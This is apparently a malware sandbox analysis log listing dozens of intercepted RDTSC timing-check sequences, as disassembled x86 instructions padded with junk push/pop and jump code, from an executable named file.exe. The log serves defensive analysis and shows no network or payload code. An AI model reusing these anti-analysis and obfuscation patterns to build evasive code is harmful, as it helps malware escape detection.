Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB96B second address: 9BB9C2 instructions: 0x00000000 rdtsc 0x00000002 je 00007F9598E72AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F9598E72AC8h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 lea eax, dword ptr [ebp+1248E36Ch] 0x0000002d mov ecx, dword ptr [ebp+122D2844h] 0x00000033 nop 0x00000034 jnc 00007F9598E72AD4h 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB9C2 second address: 9BB9CC instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F95994487A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB9CC second address: 9BBA26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F9598E72AC6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f jmp 00007F9598E72AD2h 0x00000014 lea eax, dword ptr [ebp+1248E328h] 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007F9598E72AC8h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 00000015h 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 jmp 00007F9598E72ACAh 0x00000039 mov edx, ebx 0x0000003b nop 0x0000003c push esi 0x0000003d jnp 00007F9598E72ACCh 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BBA26 second address: 9BBA50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007F95994487B8h 0x0000000d jl 00007F95994487A6h 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BBA50 second address: 9A40DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F9598E72AC6h 0x0000000a popad 0x0000000b popad 0x0000000c nop 0x0000000d adc edi, 24CCC356h 0x00000013 call dword ptr [ebp+122D2CA0h] 0x00000019 push edi 0x0000001a pushad 0x0000001b jmp 00007F9598E72AD4h 0x00000020 jmp 00007F9598E72AD0h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD36E second address: 9FD386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F95994487ABh 0x0000000c jnp 00007F95994487A6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD4C9 second address: 9FD4F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F9598E72AC8h 0x0000000b push edx 0x0000000c pop edx 0x0000000d pushad 0x0000000e jmp 00007F9598E72AD8h 0x00000013 jo 00007F9598E72AC6h 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD656 second address: 9FD65E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD65E second address: 9FD666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD7B7 second address: 9FD7BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD94D second address: 9FD973 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9598E72ACCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9598E72AD2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00FB6 second address: A00FBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00FBC second address: A00FD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 ja 00007F9598E72AC6h 0x0000000e jng 00007F9598E72AC6h 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00FD6 second address: A00FDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00FDA second address: A00FFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F9598E72AD2h 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007F9598E72AC6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97FB60 second address: 97FB66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A03E85 second address: A03E89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A03E89 second address: A03E8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A03E8D second address: A03EAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 jnc 00007F9598E72AC6h 0x0000000f push esi 0x00000010 pop esi 0x00000011 jmp 00007F9598E72ACCh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A03EAB second address: A03EC0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F95994487B0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 982FAB second address: 982FB5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9598E72AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 982FB5 second address: 982FD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F95994487B5h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A03856 second address: A0385A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05F7B second address: A05F92 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F95994487AEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05F92 second address: A05F9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05F9A second address: A05F9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05F9E second address: A05FAD instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9598E72AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C701 second address: A0C717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F95994487A6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d push ecx 0x0000000e js 00007F95994487A6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C717 second address: A0C738 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jmp 00007F9598E72AD5h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B431 second address: A0B447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F95994487A6h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pop ecx 0x00000012 push edi 0x00000013 pushad 0x00000014 popad 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B447 second address: A0B44D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B44D second address: A0B45E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95994487ADh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B45E second address: A0B464 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B5A7 second address: A0B5AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B5AC second address: A0B5B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB356 second address: 9BB361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB361 second address: 9BB366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B985 second address: A0B989 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B989 second address: A0B997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F9598E72AC6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B997 second address: A0B99F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B99F second address: A0B9AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F9598E72AC6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B9AB second address: A0B9C3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F95994487AAh 0x00000010 push edi 0x00000011 pop edi 0x00000012 push esi 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B9C3 second address: A0B9CD instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9598E72AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B9CD second address: A0B9D2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10484 second address: A10488 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10488 second address: A10498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F95994487A6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10498 second address: A1049C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1049C second address: A104A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0F754 second address: A0F75A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0FE8E second address: A0FEA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95994487B4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0FEA8 second address: A0FEC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F9598E72ACEh 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jg 00007F9598E72AC6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0FEC6 second address: A0FED6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F95994487ACh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0FED6 second address: A0FEE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9598E72ACDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10061 second address: A10082 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnl 00007F95994487A6h 0x00000009 pushad 0x0000000a popad 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F95994487B3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10082 second address: A10086 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10086 second address: A1009D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jbe 00007F95994487B2h 0x0000000f jl 00007F95994487A6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A13414 second address: A13436 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9598E72ACAh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9598E72AD4h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A12B17 second address: A12B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A12B1B second address: A12B31 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9598E72AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jns 00007F9598E72AC8h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A12B31 second address: A12B35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A12B35 second address: A12B51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007F9598E72AD2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A193B8 second address: A193BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A193BD second address: A193C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A193C3 second address: A193C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A194DC second address: A194E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19A50 second address: A19A5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19A5D second address: A19A7F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F9598E72AD7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A29B second address: A1A2BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop eax 0x00000007 jns 00007F95994487BAh 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A59F second address: A1A5A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1AB11 second address: A1AB17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1AB17 second address: A1AB57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F9598E72AE0h 0x0000000c push ebx 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007F9598E72AD0h 0x00000014 pop ebx 0x00000015 popad 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1AB57 second address: A1AB5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24C36 second address: A24C50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9598E72ACAh 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007F9598E72AC6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24C50 second address: A24C54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A250D4 second address: A250D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A250D8 second address: A250F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c jmp 00007F95994487ABh 0x00000011 pop ebx 0x00000012 pushad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A250F5 second address: A250FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2521E second address: A2523C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F95994487B5h 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2523C second address: A25257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9598E72ACAh 0x00000009 pop edi 0x0000000a popad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F9598E72AC6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A25257 second address: A2525B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A253AF second address: A253BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2CE4B second address: A2CE4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D0E7 second address: A2D0FB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9598E72AC6h 0x00000008 jmp 00007F9598E72ACAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D3EE second address: A2D403 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95994487ABh 0x00000007 je 00007F95994487A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D682 second address: A2D692 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jg 00007F9598E72AF4h 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D692 second address: A2D6B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95994487ACh 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F95994487ACh 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D7ED second address: A2D7F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D7F6 second address: A2D800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D800 second address: A2D822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9598E72ACBh 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007F9598E72AC6h 0x00000016 jns 00007F9598E72AC6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D822 second address: A2D83B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F95994487A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b jc 00007F95994487C6h 0x00000011 je 00007F95994487ACh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D83B second address: A2D843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D843 second address: A2D847 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
